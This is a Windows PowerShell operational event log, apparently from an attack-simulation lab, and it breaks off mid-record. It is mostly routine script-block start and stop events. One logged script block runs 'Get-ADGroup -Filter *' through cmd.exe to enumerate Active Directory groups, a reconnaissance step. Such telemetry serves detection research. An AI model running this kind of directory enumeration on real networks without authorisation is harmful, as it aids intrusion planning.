Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023994
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023993
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023992
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023991
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023989
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023988
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023987
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023986
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023985
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023984
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023983
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023982
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023981
Keywords=None
Message=Completed invocation of ScriptBlock ID: c5307a9f-dd12-4ef9-b9c0-d195925575ad
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024008
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024006
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024004
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024002
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024000
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024018
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024016
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024014
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024012
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024010
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024035
Keywords=None
Message=Started invocation of ScriptBlock ID: 859c6cbc-04aa-4686-af74-3988a8410a03
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024034
Keywords=None
Message=Creating Scriptblock text (1 of 1):
cmd.exe /c powershell.exe Get-ADGroup -Filter *

ScriptBlock ID: 859c6cbc-04aa-4686-af74-3988a8410a03
Path:
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024032
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024030
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024029
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024028
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024026
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024024
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024022
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024020
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=2024038
Keywords=None
Message=PowerShell console is ready for user input
09/09/2021 10:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=2024037
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5920 in AppDomain: DefaultAppDomain.
09/09/2021 10:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=2024036
Keywords=None
Message=PowerShell console is starting up
09/09/2021 10:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024042
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96184fd7-0cef-4bd8-acb0-f8841d657ad4
Runspace ID: f6230383-74b0-475d-904d-6ae516f63f82
09/09/2021 10:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
